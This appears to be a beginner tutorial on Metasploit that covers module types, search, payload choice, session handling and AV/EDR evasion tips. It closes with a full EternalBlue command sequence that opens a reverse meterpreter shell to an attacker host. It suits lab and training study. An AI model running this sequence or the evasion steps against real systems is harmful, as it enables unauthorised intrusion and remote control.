root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat guia-metasploit.md
// tools

Metasploit From Scratch

22 Jul 2026 · 6 min read

This guide isn't a list of commands (that's what the Metasploit cheat sheet is for) — it's how to think when you open msfconsole: what modules actually are, how to search for the right exploit without getting lost in thousands of results, and why an exploit that "should" work sometimes doesn't.

LevelFrom scratch
RequiresKali/Parrot with Metasploit installed

1. The five module types

Everything in Metasploit is a "module". Before searching for anything, it helps to be clear on which type you actually need:

TypeWhat it doesExample
ExploitLeverages a specific vulnerability to execute codeexploit/windows/smb/ms17_010_eternalblue
AuxiliaryDoesn't exploit anything directly — scans, brute-forces, checks versionsauxiliary/scanner/smb/smb_version
PayloadThe code that runs *after* the exploit succeeds (the shell, the meterpreter...)windows/x64/meterpreter/reverse_tcp
EncoderObfuscates a payload to dodge simple antivirus signaturesx86/shikata_ga_nai
NopFills buffer space without affecting execution (for overflow exploits)x86/opty2

The most common beginner mistake: treating exploit as a synonym for "attack" in general. Often what you need first isn't an exploit at all, but an auxiliary module to confirm the exact service version before wasting time on the wrong exploit.

2. Finding the right module

search is more powerful than it looks at first — don't just search by service name, combine filters:

search smb                          # general search
search type:exploit smb             # exploits only
search type:auxiliary smb           # auxiliary modules only
search cve:2017-0144                # by exact CVE
search platform:windows smb         # by platform
search rank:excellent smb           # only the most reliable

The "rank" matters more than it seems: Metasploit grades every exploit's reliability (excellent, great, good, normal, average, low, manual). An "excellent" exploit shouldn't crash the service; a "low" or "average" one can hang it or fail silently — keep that in mind especially on real production systems.

3. Configuring the module — what almost everyone skips

use exploit/windows/smb/ms17_010_eternalblue
show options

show options lists the variables, but three details get overlooked constantly:

  • Required = yes doesn't mean it already has a value — check the "Current Setting" column, not just whether it's listed
  • show targets shows the exact OS/version variants the exploit supports — if your target doesn't match any of them, the exploit will fail even if everything else is configured correctly
  • show advanced hides options that are sometimes the difference between working and not (timeouts, HTTP paths, protocol version)

4. Choosing a payload — the step most people get wrong

show payloads
set payload windows/x64/meterpreter/reverse_tcp
DecisionOptionsWhen to pick each
Bind vs Reversebind_tcp opens a port on the target and you connect to it · reverse_tcp the target connects back to youReverse almost always — bind fails if there's a firewall/NAT on the target, which is the usual case
Staged vs StagelessStaged (/meterpreter/) sends the payload in two parts · Stageless (_reverse_tcp without meterpreter) sends it whole at onceStageless if the target's AV/EDR inspects network traffic — it's less detectable since there's no "window" between stages
Shell vs MeterpreterShell = basic command access · Meterpreter = advanced shell with built-in post-exploitation modulesMeterpreter almost whenever the OS supports it — gives you far more control once you're in

5. LHOST/LPORT — the #1 cause of "nothing connects back"

set LHOST <your_IP>
set LPORT 4444

LHOST has to be the IP the target can actually reach YOU on — not 127.0.0.1, not an IP on a different interface than the one you use to reach the target. If you're on an HTB VPN, it's your tun0 interface's IP, not your local network's. Double-check with ip a before launching the exploit.

To avoid repeating set LHOST on every new module:

setg LHOST <your_IP>

6. Launching and managing the session

exploit -j          # launch as a background job
sessions -l         # list active sessions
sessions -i 1       # interact with session 1
background          # return to msfconsole without closing the session

If the module supports check, use it before exploit to confirm the target is actually vulnerable without running the real attack yet — avoids crashing a service by probing blindly.

Common errors and why they happen

SymptomUsual cause
Exploit runs but no session comes backLHOST set wrong, firewall blocking the port, or a bind payload instead of reverse
"Exploit completed, but no session was created"The target may not actually be vulnerable, or the target/version picked in show targets doesn't match
The service crashes after the attemptLow-rank exploit against a slightly different version — recheck show targets more carefully
AV/EDR blocks the payload before it runsStaged payload detected in transit — try stageless, or generate the payload separately with msfvenom and an encoder

Full example — from search to session

search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show targets
show options
set RHOSTS 192.168.1.50
setg LHOST 10.0.0.5
check
show payloads
set payload windows/x64/meterpreter/reverse_tcp
exploit -j
sessions -l
sessions -i 1